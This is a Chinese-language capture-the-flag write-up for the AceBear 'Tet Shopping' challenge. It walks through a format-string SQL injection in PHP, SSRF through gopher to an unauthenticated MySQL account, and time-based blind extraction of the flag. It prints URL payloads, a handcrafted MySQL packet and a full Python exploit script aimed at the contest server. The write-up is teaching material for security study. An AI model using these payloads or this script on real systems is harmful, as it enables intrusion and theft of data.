AceBear Security Contest-Tet Shopping-Writeup

chybeta / 2018-02-02 16:29:00 / 浏览数 4851 技术文章 技术文章 顶(0) 踩(0)

前言

这几天研究了一下AceBear Security Contest的Tet shopping题目，整体思路以及涉及的知识点如下：

- 格式化字符串sql注入漏洞
- 基于gopher协议的SSRF攻击来完成对mysql未授权访问漏洞的利用
- 时间盲注

题目

```
Website: Link http://128.199.179.156/
Source: source http://128.199.179.156/src.tar.gz
```

为方便大家，已将源码打包上传，见附件。

Solution

基本功能

点开链接，发现有一个登陆框，提供了注册和登陆功能。

完成注册和登陆后，发现有购物功能，你可以买Banh chung或者Banh tet，购买完后会出现下图中的红框框起部分：

接下里看源码。源码大体结构如下，img文件夹里存放了图片，backup.sh是脚本文件，里面涉及了mysql操作和flag的保存，具体内容见后。cfg.php文件主要定义了sql操

```
■  backup.sh
■  cfg.php
■  db.sql
■  func.php
■  index.php
■  info.php
■  item.php
■  login.php
■  logout.php
■  ok.jpg
■
■■img
       banh-chung-22.jpg
       banh_chung.jpg
       banh_tet.jpg
```

由于初次点开，会直接跳转到login.php进行注册和登陆，因此我们先来看看 login.php，限于篇幅仅示出部分关键代码：

```
<?php
session_start();
include "cfg.php";

if (isLogin())
   die(header("Location: index.php"));
$msg = '';
if(isset($_POST['action'])){
   switch($_POST['action']){
       case 'login':
           if (isset($_POST["user"]) && !empty($_POST["user"]) && isset($_POST["passwd"]) && !empty($_POST["passwd"])) {
               $prepare_qr = $jdb->addParameter("SELECT uid from users where user=%s and passwd=sha1(%s)", $_POST["user"], $_P
               $result = $jdb->fetch_assoc($prepare_qr);
               if(count($result)===1){
                   $_SESSION["id"] = (int)$result[0]["uid"];
                   $msg = "Login successful!";
                   die(header("Location: index.php"));
               }else{
```

```
                $msg = "Invalid information!";
            }

        }else{
            $msg = "Missing detail!";
        }
    break;
    case 'register':
    if (isset($_POST["user"]) && !empty($_POST["user"]) && isset($_POST["passwd"]) && !empty($_POST["passwd"])){
        $prepare_qr = $jdb->addParameter("SELECT uid from users where user=%s", $_POST['user']);
        $result = $jdb->fetch_assoc($prepare_qr);
        if(count($result)>0){
            $msg = "User exists!";
        }else{
        $prepare_qr = $jdb->addParameter("INSERT INTO users VALUES (0, %s, sha1(%s))"   , $_POST["user"], $_POST["passwd"])
        $result = $jdb->insert_data($prepare_qr);
        if($result)
            $msg = "Register successful!";
        else
            $msg = "Register failed!";
        }

    }else{
        $msg = "Missing detail!";
    }

    break;

  }
}
echo $msg;
?>
```

先看注册register部分。在接受user和passwd后，先执行了下面这两条语句:

```
$prepare_qr = $jdb->addParameter("SELECT uid from users where user=%s", $_POST['user']);
$result = $jdb->fetch_assoc($prepare_qr);
```

$prepare_qr类似php中的预编译语句，然后再通过$jdb->fetch_assoc()获取数据。倘若结果为空/零，则执行插入（即注册）操作，类似的先执行了出题者自己写的

```
$prepare_qr = $jdb->addParameter("INSERT INTO users VALUES (0, %s, sha1(%s))"   , $_POST["user"], $_POST["passwd"]);
$result = $jdb->insert_data($prepare_qr);
```

以上与数据库有交互的操作，均定义在cfg.php 中，Jdb是其中的类，而其构造方法是链接数据库，部分关键源码如下：

```
<?php
class Jdb{
   ...
   function fetch_assoc($qr){
       $qq = mysqli_query($this->conn, $qr);

       $return = array();
       while($req = mysqli_fetch_assoc($qq)){
           array_push($return, $req);
       }
       return $return;
   }

   function insert_data($qr){
       return mysqli_query($this->conn, $qr);
   }

   function addParameter($qr, $args){
       if(is_null($qr)){
           return;
       }
       if(strpos($qr, '%') === false ) {
           return;
       }
       $a rgs = func_get_args();
```

```
        array_shift($args);
        if(is_array($args[0]) && count($args)==1){
            $args = $args[0];
        }
        foreach($args as $arg){
            if(!is_scalar($arg) && !is_null($arg)){

                return;
            }
        }
        $qr = str_replace( "'%s'", '%s', $qr);
        $qr = str_replace( '"%s"', '%s', $qr);
        $qr = preg_replace( '|(?<!%)%f|' , '%F', $qr);
        $qr = preg_replace( '|(?<!%)%s|', "'%s'", $qr);

        array_walk($args, array( $this, 'ebr' ) );
        return @vsprintf($qr, $args);

    }
    function ebr(&$st ) {
        if (!is_float($st))
            $st = $this->_re($st);
    }
    function _re($st) {
        if ($this->conn) {
            return mysqli_real_escape_string($this->conn, $st);
        }

        return addslashes($st);
    }

}
$jdb = new Jdb();
include "func.php";
```

从注册的流程可以看到sql语句均经过addParameter后再进一步执行。在addParameter中，可以看到参数先经过了mysqli_real_escape_string，之后再通过vspri
格式化字符串sql注入漏洞，文章中提到了利用条件：

我们在第一次格式化字符串操作中写入格式化字符串如%s，然后要在第二次格式化字符串操作中完成对第一步写入的格式化字符串的控制。单单就login.php中的操作而言，

格式化字符串sql注入漏洞

通过进一步的审计，在info.php发现了一处连续两次调用addParameter的代码：

```
$prepare_qr = $jdb->addParameter("SELECT goods.name, goods.description, goods.img from goods inner join info on goods.uid=info
$prepare_qr = $jdb->addParameter($prepare_qr.' and user=%s', $username);
$result = $jdb->fetch_assoc($prepare_qr);
```

在第一个addParameter中$_GET['uid']完全可控，第二个addParameter中，$username是通过SESSION来查询数据库找出对应的用户名，这个用户名即注册时的用

```
<?php
include 'cfg.php';
$username=$_GET['username'];
$prepare_qr = $jdb->addParameter("SELECT goods.name, goods.description, goods.img from goods inner join info on goods.uid=info
print_r("First:<br>");
print_r($prepare_qr.'<br>');

$prepare_qr = $jdb->addParameter($prepare_qr.' and user=%s', $username);
print_r("Second:<br>");
print_r($prepare_qr);
```

第一种payload：

```
http://127.0.0.1:2500/AceBear/tetshopping/index3.php?uid=%1$' or 1=1%23&username=chybeta
```

更具体的原因可以参见：LCTF 2017-Simple blog-writeup

第二种payload：

```
http://127.0.0.1:2500/AceBear/tetshopping/index3.php?uid=%1$c or 1=1%23&username=39
```

这是因为在第二次的格式化字符串vsprintf中，%1$c相当于选择第一个参数，而%c会将其转化为对应的ascii字符。这里的第一个参数$username为39，转化后变为'，从

接下里寻找目标，在backup.sh中：

```
#!/bin/sh
echo "[+] Creating flag user and flag table."
mysql -h 127.0.0.1 -uroot -p <<'SQL'
CREATE DATABASE IF NOT EXISTS `flag` /*!40100 DEFAULT CHARACTER SET utf8 */;
USE `flag`;
DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
 `flag` VARCHAR(1000)
);
CREATE USER 'fl4g_m4n4g3r'@'localhost';
GRANT USAGE ON *.* TO 'fl4g_m4n4g3r'@'localhost';
GRANT SELECT ON `flag`.* TO 'fl4g_m4n4g3r'@'localhost';
SQL

echo -n "[+] Please input the flag:"
read flag

mysql -h 127.0.0.1 -uroot -p <<SQL
INSERT INTO flag.flag VALUES ('$flag');
SQL

echo "[+] backup successful"
```

flag存放在数据库flag的flag表的flag字段中，其用户为fl4g_m4n4g3r，暂时我们没有权限访问。并且我们可以注意到，数据库用户fl4g_m4n4g3r并没有设置密码，

SSRF

在info.php的最后一行，执行了watermark_me($result[0]['img'])，$result[0]['img']是基于前面sql查询语句查询结果，由前sql注入分析知这个参数是我们可

```
<?php
function get_data($url) {
   $ch = curl_init();
   $timeout = 2;
   curl_setopt($ch, CURLOPT_URL, $url);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
   $data = curl_exec($ch);
   curl_close($ch);
   return $data;
}

function watermark_me($img){
   if(preg_match('/^file/', $img)){
       die("Ahihi");
   }
   $file_content = get_data($img);

   $fname = 'tmp-img-'.rand(0,9).'.tmp';
   file_put_contents('/tmp/'.$fname, $file_content);
   while(1){
   if(file_exists('/tmp/'.$fname))
       break;
   }

   $stamp = imagecreatefromjpeg('ok.jpg');
   $imgPng = imagecreatefromjpeg('/tmp/'.$fname);

   $marge_right = 10;
   $marge_bottom = 10;
   $sx = imagesx($stamp);
   $sy = imagesy($stamp);


   imagecopy($imgPng, $stamp, imagesx($imgPng) - $sx - $marge_right, imagesy($imgPng) - $sy - $marge_bottom, 0, 0, imagesx($st

   if($imgPng){
```

```
        @unlink('/tmp/'.$fname);
        //header("Content-type: image/png");
        ob_start();
        imagePng($imgPng);
        $imagedata = base64_encode(ob_get_contents());

        ob_end_clean();
        @imagedestroy($imgPng);
        return $imagedata;
    }else{
        @unlink('/tmp/'.$fname);
        die("Ahihi");
    }
}
```

先检查$img是否已file开头，若不是则调用get_data()，之后创建文件并返回。而get_data()里是curl操作，很容易联想到SSRF攻击。结合前面的sql漏洞，以及对应
To RCE in MySQL 中提到的技巧。

通过sql注入漏洞，我们可以控制$result[0]['img']为gopher://127.0.0.1:3306/_ + payload
，即可在get_data()中利用curl和gopher协议对mysql进行未授权访问，payload中填上我们要执行的sql语句，包括登陆，查询，以及退出。由于这个方法返回的是二进

但由于可以执行sql语句，因此我们可以进行基于时间的盲注。

首先用wrieshark抓包，获取到登陆以及对应执行的raw数据：

由于是未授权访问，因此raw数据的认证部分以及对相应数据库flag的选择在每回合其实是相同的，可以不用修改。而要执行的sql语句需要根据情况来变化，在wireshark中

以上图为例，选取的部分是sql语句，之前有一个固定字段00000003，再之前的13是sql语句的长度加一后的十六进制值，这里sql语句长度为18，加一为19，也即19=1
* 16 + 3 即 hex(19) = 13。这样我们能生成攻击的gopher协议的payload了。

接着考虑如何与前面的sql格式化字符串结合起来，如图所示，利用单引号逃逸和union select控制了第三个字段值：

为演示和防止编码问题，假如payload为gopher://127.0.0.1:3306/_%b6，将gopher://127.0.0.1:3306/_%b6编码为十六进制0x676f706865723a2f2f31323

最终利用脚本：

```
import binascii
import requests
def str_hex(data):
    return str(hex(data)).replace('0x','')
def encode(query):
    enc_query = ''
    for i in query:
        enc_query += str_hex(ord(i))
    return enc_query

def gen_payload(query):
    payload = 'b600000185a23f0000000001210000000000000000000000000000000000000000000000000000666c34675f6d346e3467337200006d7973716c5f
    payload += '210000000373656c656374204040766572273696f6e5f636f6d6d656e74206c696d69742031'

    payload += str_hex(len(query)+1)
    payload += '00000003'
    payload += encode(query)
    payload += '0100000001'
    return payload

def result(payload):
    result = [payload[i:i+2] for i in range(0,len(payload),2)]
    return binascii.b2a_hex(b"gopher://127.0.0.1:3306/_%"+"%".join(result))

def exp():
    i = 1
    flag = ""
    url = "http://128.199.179.156/info.php"
    cookie = {
        'PHPSESSID':'av7963h17c1qukv4jm4gklvoi1'
    }
    while True:
        for j in range(127,32,-1):
            print 'j:'+str(j)
            query = "select * from flag.flag where IF(ascii(substr((select * from flag.flag),%s,1)) =%s,sleep(5),1);" % (str(i)
```

```
            uid = "?uid=%1$'%20union%20select%201,1,0x" + result(gen_payload(query)) + "%23"
            fullurl = url + uid
            try:
                r = requests.get(fullurl,cookies=cookie,timeout=5)
            except Exception as e:
                flag += chr(j)
                print(flag)
                i = i+1
                break
    print(flag)

if __name__ == '__main__':
    exp()
```

访问：https://tinyurl.com/y9pplum3

flag:

```
AceBear{Just_WP_SQLi_and_some_SSRF_tricks}
```

参考

- wordpress 格式化字符串sql注入漏洞
- LCTF 2017-Simple blog-writeup
- SSRF To RCE in MySQL

AceBear Security Contest-Tet shopping.zip (1.962 MB) 下载附件